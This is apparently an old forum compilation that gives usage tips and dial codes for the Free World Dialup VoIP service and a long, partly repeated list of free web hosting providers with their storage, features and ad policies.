-- NL Dial *31(800)... to reach Netherlands toll free #s.
-- UK Dial *44(800)... or *44(808)... or *44 (500) to reach UK toll free #s.
-- US Dial *1(8xx) xxx xxxx to reach United States toll free #s.
-- JP Dial *81 0120... to reach Japan toll free #s.
Frequently used numbers
613 Echo test
55555 Volunteer Welcome Line
514 FWD Coffee House
612 Time
411 TellMe Information
611 Part Time Technical support
511 FWD Conference Bridge
At the moment, I think this is way better than Skype, Yahoo IM voice chat, etc...I've been using FWD for over a year with my cable broadband service and didn't have to set up any port forwarding on my broadband router. Obviously you'ld need a mic/speakers connected to your PC.
You can also use your regular telephone via an adapter http://voipstore.pulver.com/product_info.php?products_id=32 and IP phone http://voipstore.pulver.com/product_info.php?products_id=33. Adapters and IP phones from different vendors like Cisco are available.
* Broadbandreports.com VoIP forum (formerly known as DSLReports.com)
-- If you have any questions or just curious about VoIP, visit the VoIP forum http://www.dslreports.com/forum/voip at DSLReports.com.
Free World Dialup - http://www.freeworlddialup.com/
"Use FWD to make real, free phone calls using your favorite telephone, computer or PDA and any broadband connection. Call your neighbor or a relative, next door or in another country; all with the same ease, speed, and high quality." Thanks to Jeff Pulver and his crew!
Quick summary:
1 - First, got to http://www.freeworlddialup.com and sign up to get your FWD # and password.
2 - Download http://brands.xten.net/x-litefwd/download/X-LiteFWD_Install.exe FWD/X-Lite ("self-configures") program or go to http://www.myphonebooth.com/ to call any FWD # and U.S. toll free #s using Internet Explorer (Firefox not supported).
Quickstart Guide: http://www.freeworlddialup.com/support/quick_start_guide
FWD Xlite Configuration Guide: http://www.freeworlddialup.com/support/configuration_guide/configure_your_fwd_certified_phone/fwd_xlite/all
MS Windows Messenger Configuration Guide: http://pulver.com/fwd/fwd30news.html#messenger (FWD supports Windows Messenger 4.6/4.7 but not MSN Messenger 5.x.)
3 - To call a U.S. landline/cell #, dial *+arecode+7digit#. (This FWD feature is not listed on their website, but has been working for several months now.)
4 - To call a FWD # from a PSTN (your regular phone), click
http://www.dslreports.com/r0/download/476274~3ccc4c9edbe2a596714a4fd9da897204/fwdaccessnumbers.zip or after you've signed up go to FWD web page, click on "Features", "Access #s" for a list of FWD access numbers in your area. Available in several states in the U.S., UK, NL and DE at this time.
Packet8:
-- To call a P8 phone # from a FWD phone: Dial **898 + 1 + P8 number to be routed to P8 service.
-- To call a FWD # from a P8 phone:
*If the FWD # you are calling contains 5 digits, start to dial with the prefix 0351. For example: 035112345
*If the FWD # you are calling contains 6 digits, start to dial with the prefix 0451.
Call UK:
Get a UK telephone # that will call you on your FWD #. Register http://fwd.calluk.com.
FWD Features: Some features like Voice email needs to be activated at http://www.fwdnet.net
Internet Calling
Call Waiting
CallerID
Missed Call notification
Call Forwarding
Call Transfer
Three Way Calling
Voice email
SoftPhone, IP Phones & *Web-based
Aliases
Whitepages directory
ENUM Entry
eDial SOAP
Conferencing
Instant Messaging
Web Calling/FWD-Talk
Corporate Cisco Call Manager Connection
Calling to Toll Free Numbers in the UK, US, NL, JP and FR TellMe Service (411).
-- NL Dial *31(800)... to reach Netherlands toll free #s.
-- UK Dial *44(800)... or *44(808)... or *44 (500) to reach UK toll free #s.
-- US Dial *1(8xx) xxx xxxx to reach United States toll free #s.
-- JP Dial *81 0120... to reach Japan toll free #s.
Frequently used numbers
613 Echo test
55555 Volunteer Welcome Line
514 FWD Coffee House
612 Time
411 TellMe Information
611 Part Time Technical support
511 FWD Conference Bridge
At the moment, I think this is way better than Skype, Yahoo IM voice chat, etc...I've been using FWD for over a year with my cable broadband service and didn't have to set up any port forwarding on my broadband router. Obviously you'ld need a mic/speakers connected to your PC.
You can also use your regular telephone via an adapter http://voipstore.pulver.com/product_info.php?products_id=32 and IP phone http://voipstore.pulver.com/product_info.php?products_id=33. Adapters and IP phones from different vendors like Cisco are available.
* Broadbandreports.com VoIP forum (formerly known as DSLReports.com)
-- If you have any questions or just curious about VoIP, visit the VoIP forum http://www.dslreports.com/forum/voip at DSLReports.com.
FREE Hosting List php, mysql and more
Free Hosting
Unlimited Bandwidth
Unlimited Webspace
Domain Hosting
PHP, FTP
Price: FREE!
there Free Web Hosting Package contains the following features:
Unlimited Data Transfer
Unlimited Disk Space
100mbps Network Connection
99.9% Uptime
Free Sub Directory ( hostultra.com/~you )
Cool yourname.vzz.net URL!
Free Subdomains ( Many domains to choose from! )
Free Domain Hosting ( yourdomain.com )
Custom Domain DNS Control ( A/CNAME/MX Records )
Browser and FTP Uploading
PHP / MySQL*
Unlimited Domains / Unlimited Subdomains
Free Search Engine Submission
http://www.hostultra.com/signup.html
Mail, FTP, CGI, Perl, SSI, PHP, ASP (FrontPage), MySQL, CPanel, and many, many more. You really will be your own webmaster. Our thoughtful and patient staff will guide you. Forums for when you seek the help of your peers. Emergency contacts for when you need concentrated one-on-one help.
What's the catch? There isn't one. PortalWorlds.NET is advertising and sponsor supported. Your site will show ads (your choice as to placement, side towers, top banners, popups, and similar) and earn money to cover PortalWorlds.NET's server and administrative costs. You do agree to do nothing offensive nor illegal.
In addition to the many things mentioned, you will also receive a Script Center (crammed with ready to use Perl), 100M diskspace, 250M bandwidth, 1 MySQL database, unlimited POP3 mailboxes (including autoresponders and forwarders), 1 mail list, Oscommerce package, PHP-Nuke, Invision Board, full CPanel.
.www.portalworlds.net thank "agresssor" for this one
GreatNow
USA, English
Hosting category: REG,BUSINESS,GAME,OTHER
http://www.greatnow.com/
Space 100 MB
Upload FTP Browser
Editor Advanced Basic
Ads Banner/Popup
Webaddress Subdomain
Features Domainhosting Subdomain Counter Form Guestbook
Beige Tower
USA, English
Hosting category: REG,BUSINESS,GAME,OTHER
http://beigetower.org
Space 100 MB
Upload FTP
Editor Advanced Basic
Ads No ads
Webaddress domain
Features PHP POP Email Domainhosting Telnet mySQL SSI CGI-BIN Guestbook
Comet Stream
Canada, English
Hosting category: REG,BUSINESS,GAME,OTHER
http://www.cometstream.net
Space 50 MB
Upload FTP Browser FrontPage
Editor Advanced Basic
Ads No ads
Webaddress Subdomain, Domain
Features PHP POP Email Domainhosting Subdomain mySQL SSI CGI-BIN Shopping Cart Counter Form Guestbook
1ASPHost
USA, English
Hosting category: REG,BUSINESS,GAME
http://www.1asphost.com
Space 100 MB
Upload Browser
Editor Advanced
Ads Popup
Webaddress /you
Features ASP SSI
Alexus Media
USA, English
Hosting category: REG,BUSINESS,GAME,OTHER
http://www.alexusmedia.com
Space 999 MB
Upload Browser
Editor Advanced Basic
Ads Popup
Webaddress directory
Features RealVideo RealAudio ASP SSI Guestbook
Angel Towns
USA, English
Hosting category: REG,BUSINESS
http://www.angeltowns.com
Space 50 MB
Upload Browser
Editor Advanced Basic
Ads No ads
Webaddress /members/you
Features Guestbook
Brinkster
USA, English
Hosting category: REG,BUSINESS,GAME
http://www.brinkster.com
Space 30 MB
Upload Browser
Editor Advanced
Ads Bannerad
Webaddress /you
Features mySQL ASP
FreeWebz.com
USA, English
Hosting category: REG,BUSINESS
http://members.freewebz.com
Space 100 MB
Upload Browser
Editor Advanced Basic
Ads No ads
Webaddress /you
Features POP Email Domainhosting SSI Shopping Cart Counter Form Guestbook
Illusionfxnet
USA, English
Hosting category: REG,OTHER
http://www.illusionfxnet.com
Space 250 MB
Upload Browser Email
Editor Advanced Basic
Ads No ads
Webaddress Subdomain and Domain
Features PHP POP Email Domainhosting Subdomain Telnet mySQL SSI CGI-BIN Shopping Cart Counter Form Guestbook
Internations
USA, English
Hosting category: REG
http://www.internations.net
Space 100 MB
Upload Browser
Editor Advanced Basic
Ads Topbanner
Webaddress /area/you
Features Form Guestbook
Snake INC
USA, English
Hosting category: REG
http://snake-inc.com
Space 100 MB
Upload FTP Browser
Editor Advanced Basic
Ads Banner + text
Webaddress Subdomain
Features PHP POP Email Domainhosting Subdomain mySQL SSI Counter Form Guestbook
Sphosting.com
USA, English
Hosting category: REG
http://www.sphosting.com/
Space 35 MB
Upload Browser
Editor Advanced Basic
Ads Pop-under
Webaddress Subdomain
Features Subdomain SSI Form Guestbook
Totalfreehost
USA, English
Hosting category: REG
http://www.totalfreehost.com
Space 50 MB
Upload FTP Email
Editor
Ads No ads
Webaddress Domain
Features PHP Domainhosting mySQL CGI-BIN
USALL
USA, English
Hosting category: REG,BUSINESS,GAME
http://www.webhosting.usallportal.com/free_webhosting.htm
Space 3000 MB
Upload Browser
Editor Basic
Ads Banner
Webaddress /members/you
Features Form
Web1000
USA, English
Hosting category: REG
http://www.web1000.com
Space 50 MB
Upload FTP
Editor Advanced
Ads No ads
Webaddress Subdomain
Features PHP POP Email Domainhosting Subdomain SSI Counter Guestbook
webspace4free.biz
USA, English
Hosting category: REG,BUSINESS,GAME
http://www.webspace4free.biz/?lang=english
http://nexuswebs.net
*new website just launched seems quite successful*
Space 200 MB
Upload Browser
Editor
Ads No ads
Webaddress Subdomain
Features PHP Domainhosting Subdomain mySQL CGI-BIN
NO Banner Advertisements
35mb Disk Space
Free Webmail Account
Free Subdomain - (yourname.nexuswebs.net)
Online Website Builder
Multi-Platform Template Editor
Website Template Library
24/7 FTP Access
Online File Manager
Email Virus Protection
Spam Filters
Message Board
Guest Book
Site Counter
http://www.tripod.lycos.nl/myaccount/freehosting/
50 MB webspace
NO Filesize limit
NO monthly transfer limit
PHP4.1 / MySQL (phpmyadmin) / counter / guesbook / personalised cgi feedback froms / customisable 404 error pages / FTP access
http://www.freeweb-hosting.com/
Q.Which files are accepted?
A.Currently we support standard html and images files, which means .htm, .html, .pdf, .gif, .jpg ,.png , .js, .css, .swf, .mid, .jar and .class. The size of your individual files should be < 85kb. Files exceeding this size will get automatically deleted. Besides that, there's no limit on the number of files you can host in your account.
Provider: DK3
Service: 50 MB Webspace
URL: http://www.dk3.com
Max file size: 400KB (I agree this sucks)
Comments: The following things are supported, FTP, MySQL, PHP, Perl, SSI, WAP. Plus pre-made portal and forum are available free.
*Update*
Provider:Free Web Hosting
Service: 100 Megs of webspace
URL: http://www.freewebsitehosting.com/
Summary:100 Megs Of Webspace, Free Site Promotion,FTP Support,Free Stats and Site Tools,
Unlimited Bandwidth,Free Guestbook, Fast and Reliable Servers,and Front Page Extensions.
Provider: Free Webs
Service: 100 Megs of space
URL: http://members.freewebz.com/
Summary: 100 megs of space, No banners of popups,Web Page Editing and HTML editing,FreeWebs Builder,
Site stats, Chatrooms,Guestbook, Counters, Site promotion, Form builder/Mailer, Photoalbums and more.
Provider: USALLportal
Service: 3 gigs of space
URL:http://www.webhosting.usallportal.com/free_webhosting.htm
Summary: 3 gigs of space! What else is there to know.
Provider:3hosting
Service: Unlimited Space
URL:http://www.3hosting.info/
Summary: Free hosting for adult sites, FTP access, Unlimited size of sites, Unlimited traffic, Quick Internet connection, TGP compatibility,
Free hosting of your domain.
Provider: HostUltra
Service: Unlimited space
URL: http://www.hostultra.com/
Summary: Unlimited Data Transfer
Unlimited Disk Space, 100mbps Network Connection, 99.9% Uptime, Free Sub Directory,
Free Domain Hosting, Custom Domain DNS Control, Browser and FTP Uploading,PHP,
Hosting for Unlimited Domains w/ Unlimited Subdomains, Free Search Engine Submission,
and NO ADS ON PAGES!
Provider:Crosswinds
Service: Unlimited webspace
URL: http://www.crosswinds.net/
Summary: Unlimited WebSpace, Web Based Email, Popups, $1 Premium Referral Reward, and more.
Provider:1AspHost
Service:100 Mb space
URL: http://www.1asphost.com/
Summary:100 MB of Web Space, Unlimited Bandwidth, Instant Account Activation,
Online Control Panel, Online Zip/Unzip Capability, Active Server Pages Version 3.0,
MS Access Database Connectivity.
Provider:Eccentrix
Service: 50 Mb space
URL:http://eccentrix.com/
Summary: 50 MB Web Space, WWW Board, Guest Book, Form Mail, WYSIWYG Web Editor,
Excellent Support, and more.
Provider: Neopages
Service: 50 Mb space
URL:http://www.neopages.net/
Summary: 50 Mb space, Unlimited bandwidth, POP E-Mail, True FTP Accounts ,
Site Admin Control Panel,
Provider: Internations Global Web Services
Service: 100 Mb space
URL:http://www.internations.net/
Summary: 100 Mb space, 1 GB bandwith, Web Message board, Guestbook,
FormMail script and more.
Provider: I12
Service: 800 Mb space
URL:http://www.i12.com/
Summary: 800 Mb space, unlimited POP3 and alias email addresses,
definetly a site to check out!
Provider: Nerd Cities
Service: 100 Mb space
URL: http://www.nerdcities.com/
Summary:100 Megabytes Web Space, GuestBook+Counters, Full Technical Support,
Unlimited File Size Web Control Panel, No Bandwidth Limits And more!
Provider: DK3
Service: 50 MB Webspace
URL: http://www.dk3.com
Max file size: 400KB (I agree this sucks)
Comments: The following things are supported, FTP, MySQL, PHP, Perl, SSI, WAP. Plus pre-made portal and forum are available free.
http://www.freeweb-hosting.com/
-You have UNLIMITED disk space and bandwidth with your site!.
-You can only upload files with .html, .htm, .jpg, .gif, .css, .js, .png, .pdf
file name extensions.
-Size of every file could not large than 85K bytes.
http://www.zoomfast.com/
->How much space do I get?
-Unlimited
->How can I upload my files?
-We offer full FTP access. The best FTP client can be found here.
->Can I use PHP or CGI?
-No.
->Can I host movies?
-No.
->Can I have my pages in non-english language?
-No.
->What is the maximum number of files?
-Unlimited.
->What is the maximum file size?
-80KB
->http://www.yoogo.com/
site for sale
->http://www.worldzone.net
Worldzone Free - 50mb space, allowed file types (au, mid, midi, wav, gif, ico, jpg, jpeg, png, htm, html, shtml, wml, xml, css, class, jar, java, dat, txt, tmpl, htaccess, htpasswd, js, map, swf, ttf). Sorry but no cgi, ftp, MySQL on our Free accounts. 1 468x60 banner will be located on the bottom of your page but can be removed in our $12 yearly Plus Package.
->http://www.web1000.com/
50 mb space
->http://www.tripod.com
20 MB of disk space – Have room for your image files, MP3s, video clips.
1 GB of Monthly Bandwidth – More people can visit your site more often
-> http://www.simplycities.com
page don't load
->http://www.qwikpages.com
now it's freecoolpages.com
10MB OF DISK SPACE
UNLIMITED BANDWIDTH
FTP ACCESS FOR UPLOADING
FREE EMAIL
->http://www.netomia.com
60 mb of space!
Your website may not contain or refer to sites with the following content: Porn, warez, hack or anything encouraging any kind of illegal activities or racism.
->www.netcolony.com
25 megs of webspace
Easy homepage creator
Unlimited bandwidth
Your own messageboard
Templates
Free Guestbook
Advanced editor
No fees - 100% FREE!
Fast servers
Provider:POHost
Service: Unlimited Disk Space
URL: http://www.pohost.com/
Summary: Unlimited disk space, Unlimited transfers, Fast servers,Real FTP Uploads,
Domain name hosting TGP Compliant, and more.
Provider:Free Web Hosting
Service: Unlimited Disk space
URL:http://www.freeweb-hosting.com/
Summary:Unlimited disk space,Unlimited transfers, FAST Servers ,Domain Hosting,
24/7 Real FTP Access,Friendly Support, Web Email, FREE Web Promotion.
Provider: Zoom Fast
Service: Unlimited Space
URL:http://www.zoomfast.com/
Summary: Unlimited space,Unlimited bandwith, High speed servers and more
URL: http://www.yoogo.com
Summary: Offering a great 50 MB of space plus other features like Email Forms, Guestbooks and even Message Boards. Funny name I'm sure you will agree yet worth a look because of the nice amount of space!
Provider: Worldzone.net
Service: 100 MB Webspace
URL: http://www.worldzone.net
Summary: Offering a fantasic 100 MB why not give them a go! They do not accept Warze & Porn sites so dont try to host your page here if you plan to run such a page. However, because of the amount of space they are offering then would make for a great place to dump your files!
Provider: WebJump
Service: 25 MB Webspace
URL: http://www.webjump.com
Summary: WebJump is another Small Business Provider offer a huge 25 MB for your website and unlimited bandwidth! Unlike B-City.com WebJump support the use of FTP Updates along with the use of Flash, JavaScript, WAV Files and other things as well. If you like using Email please note WebJump at this time do not offer either POP or Web Based Email Services
Provider: Web1000
Service: 25 MB Webspace
URL: http://www.web1000.com
Summary: N/A
Provider: Tripod
Service: 50 MB Webspace
URL: http://www.tripod.com
Summary: N/A
Provider: Spree.com
Service: Unlimited Webspace
URL: http://www.spree.com
Summary: Offering counters, builders, uploaders, HTML guide and a unlimited MB account spree.com could be a great place for junk files. If your running a Warze related website, try these guys out and tell me what you think!
Provider: SimplyCities
Service: 30 MB Webspace
URL: http://www.simplycities.com
Summary: Simplycities.com have just had a change in servers hence speed should be and better be at an all time high. On the website they claim to offer Unlimited Bandwidth yet at the end of that they have a little * displaying the fact conditions apply yet we could not find on the page details of this!?! Anyway they could be worth a look if just starting out!
Provider: Server2000.at
Service: Unlimited Webspace
URL: http://www.server2000.at
Summary: Only problem with this is it's not english.
Provider: Qwik Pages
Service: 100 MB Webspace
URL: http://www.qwikpages.com
Summary: N/A
Provider: Netomia
Service: 60 MB Webspace, Online Editor, Counter, Form Mail, Guestbook
URL: http://www.netomia.com
Summary: One of the few providers offering such huge space limits with a string of other great features need for any good website!
Provider: JustFree.com
Service: 40 MB Webspace
URL: http://www.justfree.com
Summary: Offering 40 MB and no bandwidth limit this should be a good choice in web hosting. They also offer free forums, live support, free guestbook & soon Free Email! We have been unable to test this provider 100% hence comments are welcome!
Provider: InfoCache
Service: 50 MB Webspace
URL: http://www.infocache.com
Summary: InfoCache offers a fantastic 50 MB of webspace which is great for any small business or personal website. They are now begining to offer Free Email and also offer a range of "pay" service which are very cheap compared to some providers. Worth a look just for the space!
Provider: FreeHomePages
Service: 50 MB Webspace
URL: http://www.freehomepages.com
Summary: They claim fast and stable server with offers of chat, form mailer, guestbooks, page builders, unlimited bandwith & unlimited hits to get the visitors in and when they offer this much space why not go for them!
Provider: Dynahost.net
Service: 25 MB Webspace [ 100 MB After Approval ]
URL: http://www.dynahost.net
Summary: Providing a nice amount of space with the option of increasing to 100 MB unlike most providers. Dynahost accounts also come with forums & a guestbook which is all updated able via your Web Browser!
Provider: Dreamwater
Service: 50 MB Webspace
URL: http://www.dreamwater.com
Summary: Offer 50 MB, Guestbook, Chat, Form Mailer, Web Templates, Builder, Clip Art, Search Submissions, Subdomain & Short URL, Unlimited Band * no hit limit! Because they offer so much we think they could have a large number of member hence a slow service yet you should test them for yourself
Provider: Dencity
Service: 25 MB Webspace
URL: http://www.dencity.com
Summary: Dencity is a well known provider offering a great 25 MB which is fantastic for any small user. They also offer a range of tools for its members plus a listing of HTML Code to help you along!
Provider: Atmosphere.be
Service: Webspace [Unlimited?] & 5 MB Email
URL: http://www.atmosphere.be
Summary: No Information
Provider: AFreeHome.com
Service: 50 MB Webspace
URL: http://www.afreehome.com
Summary: AFreeHome.com make out (in a round-about way) they hate Geocities.com! With the huge space they offer and no bandwidth limit they could be one of the best providers to date! They also claim to pay you US$10 for people you get to Sign Up yet this seems a little funny we think. Anyway - try them and inform us of how good/bad they are.
Provider: Above World
Service: 25 MB Webspace [Possible 60 MB of space]
URL: http://www.aboveworld.com
Summary: Above World claim to offer a 100% Free Virtual Domain along with 25 MB of webspace plus chat board and guestbook! When checking the above details on the Above World Website they listed via text they offer 25 MB yet a visible banner said 60 MB. We can provide no further information.
Provider: 50megs
Service: 50 MB Webspace
URL: http://www.50megs.com
Summary: 50megs.com is only one of a few providers offering such huge amounts of webspace for free. It comes with other services like Web Polls, counters and much more.
Provider: 00server
Service: 20 MB Webspace [Short URL Provided]
URL: http://www.00server.com
Summary: 00server offers a wide range of domains to suite most styles of websites. Along with the short domain names you get a fantastic 20 MB for your website. Known for its fast service yet the banner is always a down side to any provider!
Provider: 1and1
Service: 500 MB web space
5,000 MB/month traffic ($.99 per GB for additional traffic)
site statistics, log files, ready-to-run CGI-library, own CGI programming (Perl, Python), FrontPage 2002 extensions
Advanced Password Protection
5 FTP accounts
PHP3 & PHP4 MySQL
Proxy SSL Secure Server
Cron Jobs
SSH Secure Shell Access
URL: http://order.1and1.com/
Periodical time limited offers
PunoSoft Mail:
http://www.punosoft.com:32000/mail
-You can check email via website, OR I can give you the details on how to configure Outlook or Outlook Express for mail retrieval/send.
PunoSoft Gallery:
http://www.punosoft.com/gallery
-Great for sharing photos or "Signatures".
-Sign Up and I'll send you details on how to upload your photos and how to access them.
PunoSoft Web Host:
http://www.punosoft.com/webhost
125MB Hosting Service - http://www.125mb.com
XAXAX FREE HOSTING - http://free.xaxax.com
FREE HOSTiNG @ HOSTARS - http://hostars.com
CyberFreeHost - http://www.cyberfreehost.com
ULTRA FREE HOST - http://www.ultrafreehost.com
20forfree.com :: Free Web Hosting - http://www.20forfree.com
HentaiRack.com :: FREE HEntai Web Hosting - http://www.hentairack.com
EZ SEX HOST Free Adult Hosting - http://www.ezsexhost.com
Unlimited Bandwidth
Unlimited Webspace
Domain Hosting
PHP, FTP
Price: FREE!
there Free Web Hosting Package contains the following features:
Unlimited Data Transfer
Unlimited Disk Space
100mbps Network Connection
99.9% Uptime
Free Sub Directory ( hostultra.com/~you )
Cool yourname.vzz.net URL!
Free Subdomains ( Many domains to choose from! )
Free Domain Hosting ( yourdomain.com )
Custom Domain DNS Control ( A/CNAME/MX Records )
Browser and FTP Uploading
PHP / MySQL*
Unlimited Domains / Unlimited Subdomains
Free Search Engine Submission
http://www.hostultra.com/signup.html
Mail, FTP, CGI, Perl, SSI, PHP, ASP (FrontPage), MySQL, CPanel, and many, many more. You really will be your own webmaster. Our thoughtful and patient staff will guide you. Forums for when you seek the help of your peers. Emergency contacts for when you need concentrated one-on-one help.
What's the catch? There isn't one. PortalWorlds.NET is advertising and sponsor supported. Your site will show ads (your choice as to placement, side towers, top banners, popups, and similar) and earn money to cover PortalWorlds.NET's server and administrative costs. You do agree to do nothing offensive nor illegal.
In addition to the many things mentioned, you will also receive a Script Center (crammed with ready to use Perl), 100M diskspace, 250M bandwidth, 1 MySQL database, unlimited POP3 mailboxes (including autoresponders and forwarders), 1 mail list, Oscommerce package, PHP-Nuke, Invision Board, full CPanel.
.www.portalworlds.net thank "agresssor" for this one
GreatNow
USA, English
Hosting category: REG,BUSINESS,GAME,OTHER
http://www.greatnow.com/
Space 100 MB
Upload FTP Browser
Editor Advanced Basic
Ads Banner/Popup
Webaddress Subdomain
Features Domainhosting Subdomain Counter Form Guestbook
Beige Tower
USA, English
Hosting category: REG,BUSINESS,GAME,OTHER
http://beigetower.org
Space 100 MB
Upload FTP
Editor Advanced Basic
Ads No ads
Webaddress domain
Features PHP POP Email Domainhosting Telnet mySQL SSI CGI-BIN Guestbook
Comet Stream
Canada, English
Hosting category: REG,BUSINESS,GAME,OTHER
http://www.cometstream.net
Space 50 MB
Upload FTP Browser FrontPage
Editor Advanced Basic
Ads No ads
Webaddress Subdomain, Domain
Features PHP POP Email Domainhosting Subdomain mySQL SSI CGI-BIN Shopping Cart Counter Form Guestbook
1ASPHost
USA, English
Hosting category: REG,BUSINESS,GAME
http://www.1asphost.com
Space 100 MB
Upload Browser
Editor Advanced
Ads Popup
Webaddress /you
Features ASP SSI
Alexus Media
USA, English
Hosting category: REG,BUSINESS,GAME,OTHER
http://www.alexusmedia.com
Space 999 MB
Upload Browser
Editor Advanced Basic
Ads Popup
Webaddress directory
Features RealVideo RealAudio ASP SSI Guestbook
Angel Towns
USA, English
Hosting category: REG,BUSINESS
http://www.angeltowns.com
Space 50 MB
Upload Browser
Editor Advanced Basic
Ads No ads
Webaddress /members/you
Features Guestbook
Brinkster
USA, English
Hosting category: REG,BUSINESS,GAME
http://www.brinkster.com
Space 30 MB
Upload Browser
Editor Advanced
Ads Bannerad
Webaddress /you
Features mySQL ASP
FreeWebz.com
USA, English
Hosting category: REG,BUSINESS
http://members.freewebz.com
Space 100 MB
Upload Browser
Editor Advanced Basic
Ads No ads
Webaddress /you
Features POP Email Domainhosting SSI Shopping Cart Counter Form Guestbook
Illusionfxnet
USA, English
Hosting category: REG,OTHER
http://www.illusionfxnet.com
Space 250 MB
Upload Browser Email
Editor Advanced Basic
Ads No ads
Webaddress Subdomain and Domain
Features PHP POP Email Domainhosting Subdomain Telnet mySQL SSI CGI-BIN Shopping Cart Counter Form Guestbook
Internations
USA, English
Hosting category: REG
http://www.internations.net
Space 100 MB
Upload Browser
Editor Advanced Basic
Ads Topbanner
Webaddress /area/you
Features Form Guestbook
Snake INC
USA, English
Hosting category: REG
http://snake-inc.com
Space 100 MB
Upload FTP Browser
Editor Advanced Basic
Ads Banner + text
Webaddress Subdomain
Features PHP POP Email Domainhosting Subdomain mySQL SSI Counter Form Guestbook
Sphosting.com
USA, English
Hosting category: REG
http://www.sphosting.com/
Space 35 MB
Upload Browser
Editor Advanced Basic
Ads Pop-under
Webaddress Subdomain
Features Subdomain SSI Form Guestbook
Totalfreehost
USA, English
Hosting category: REG
http://www.totalfreehost.com
Space 50 MB
Upload FTP Email
Editor
Ads No ads
Webaddress Domain
Features PHP Domainhosting mySQL CGI-BIN
USALL
USA, English
Hosting category: REG,BUSINESS,GAME
http://www.webhosting.usallportal.com/free_webhosting.htm
Space 3000 MB
Upload Browser
Editor Basic
Ads Banner
Webaddress /members/you
Features Form
Web1000
USA, English
Hosting category: REG
http://www.web1000.com
Space 50 MB
Upload FTP
Editor Advanced
Ads No ads
Webaddress Subdomain
Features PHP POP Email Domainhosting Subdomain SSI Counter Guestbook
webspace4free.biz
USA, English
Hosting category: REG,BUSINESS,GAME
http://www.webspace4free.biz/?lang=english
http://nexuswebs.net
*new website just launched seems quite successful*
Space 200 MB
Upload Browser
Editor
Ads No ads
Webaddress Subdomain
Features PHP Domainhosting Subdomain mySQL CGI-BIN
NO Banner Advertisements
35mb Disk Space
Free Webmail Account
Free Subdomain - (yourname.nexuswebs.net)
Online Website Builder
Multi-Platform Template Editor
Website Template Library
24/7 FTP Access
Online File Manager
Email Virus Protection
Spam Filters
Message Board
Guest Book
Site Counter
http://www.tripod.lycos.nl/myaccount/freehosting/
50 MB webspace
NO Filesize limit
NO monthly transfer limit
PHP4.1 / MySQL (phpmyadmin) / counter / guesbook / personalised cgi feedback froms / customisable 404 error pages / FTP access
http://www.freeweb-hosting.com/
Q.Which files are accepted?
A.Currently we support standard html and images files, which means .htm, .html, .pdf, .gif, .jpg ,.png , .js, .css, .swf, .mid, .jar and .class. The size of your individual files should be < 85kb. Files exceeding this size will get automatically deleted. Besides that, there's no limit on the number of files you can host in your account.
Provider: DK3
Service: 50 MB Webspace
URL: http://www.dk3.com
Max file size: 400KB (I agree this sucks)
Comments: The following things are supported, FTP, MySQL, PHP, Perl, SSI, WAP. Plus pre-made portal and forum are available free.
*Update*
Provider:Free Web Hosting
Service: 100 Megs of webspace
URL: http://www.freewebsitehosting.com/
Summary:100 Megs Of Webspace, Free Site Promotion,FTP Support,Free Stats and Site Tools,
Unlimited Bandwidth,Free Guestbook, Fast and Reliable Servers,and Front Page Extensions.
Provider: Free Webs
Service: 100 Megs of space
URL: http://members.freewebz.com/
Summary: 100 megs of space, No banners of popups,Web Page Editing and HTML editing,FreeWebs Builder,
Site stats, Chatrooms,Guestbook, Counters, Site promotion, Form builder/Mailer, Photoalbums and more.
Provider: USALLportal
Service: 3 gigs of space
URL:http://www.webhosting.usallportal.com/free_webhosting.htm
Summary: 3 gigs of space! What else is there to know.
Provider:3hosting
Service: Unlimited Space
URL:http://www.3hosting.info/
Summary: Free hosting for adult sites, FTP access, Unlimited size of sites, Unlimited traffic, Quick Internet connection, TGP compatibility,
Free hosting of your domain.
Provider: HostUltra
Service: Unlimited space
URL: http://www.hostultra.com/
Summary: Unlimited Data Transfer
Unlimited Disk Space, 100mbps Network Connection, 99.9% Uptime, Free Sub Directory,
Free Domain Hosting, Custom Domain DNS Control, Browser and FTP Uploading,PHP,
Hosting for Unlimited Domains w/ Unlimited Subdomains, Free Search Engine Submission,
and NO ADS ON PAGES!
Provider:Crosswinds
Service: Unlimited webspace
URL: http://www.crosswinds.net/
Summary: Unlimited WebSpace, Web Based Email, Popups, $1 Premium Referral Reward, and more.
Provider:1AspHost
Service:100 Mb space
URL: http://www.1asphost.com/
Summary:100 MB of Web Space, Unlimited Bandwidth, Instant Account Activation,
Online Control Panel, Online Zip/Unzip Capability, Active Server Pages Version 3.0,
MS Access Database Connectivity.
Provider:Eccentrix
Service: 50 Mb space
URL:http://eccentrix.com/
Summary: 50 MB Web Space, WWW Board, Guest Book, Form Mail, WYSIWYG Web Editor,
Excellent Support, and more.
Provider: Neopages
Service: 50 Mb space
URL:http://www.neopages.net/
Summary: 50 Mb space, Unlimited bandwidth, POP E-Mail, True FTP Accounts ,
Site Admin Control Panel,
Provider: Internations Global Web Services
Service: 100 Mb space
URL:http://www.internations.net/
Summary: 100 Mb space, 1 GB bandwith, Web Message board, Guestbook,
FormMail script and more.
Provider: I12
Service: 800 Mb space
URL:http://www.i12.com/
Summary: 800 Mb space, unlimited POP3 and alias email addresses,
definetly a site to check out!
Provider: Nerd Cities
Service: 100 Mb space
URL: http://www.nerdcities.com/
Summary:100 Megabytes Web Space, GuestBook+Counters, Full Technical Support,
Unlimited File Size Web Control Panel, No Bandwidth Limits And more!
Provider: DK3
Service: 50 MB Webspace
URL: http://www.dk3.com
Max file size: 400KB (I agree this sucks)
Comments: The following things are supported, FTP, MySQL, PHP, Perl, SSI, WAP. Plus pre-made portal and forum are available free.
http://www.freeweb-hosting.com/
-You have UNLIMITED disk space and bandwidth with your site!.
-You can only upload files with .html, .htm, .jpg, .gif, .css, .js, .png, .pdf
file name extensions.
-Size of every file could not large than 85K bytes.
http://www.zoomfast.com/
->How much space do I get?
-Unlimited
->How can I upload my files?
-We offer full FTP access. The best FTP client can be found here.
->Can I use PHP or CGI?
-No.
->Can I host movies?
-No.
->Can I have my pages in non-english language?
-No.
->What is the maximum number of files?
-Unlimited.
->What is the maximum file size?
-80KB
->http://www.yoogo.com/
site for sale
->http://www.worldzone.net
Worldzone Free - 50mb space, allowed file types (au, mid, midi, wav, gif, ico, jpg, jpeg, png, htm, html, shtml, wml, xml, css, class, jar, java, dat, txt, tmpl, htaccess, htpasswd, js, map, swf, ttf). Sorry but no cgi, ftp, MySQL on our Free accounts. 1 468x60 banner will be located on the bottom of your page but can be removed in our $12 yearly Plus Package.
->http://www.web1000.com/
50 mb space
->http://www.tripod.com
20 MB of disk space – Have room for your image files, MP3s, video clips.
1 GB of Monthly Bandwidth – More people can visit your site more often
-> http://www.simplycities.com
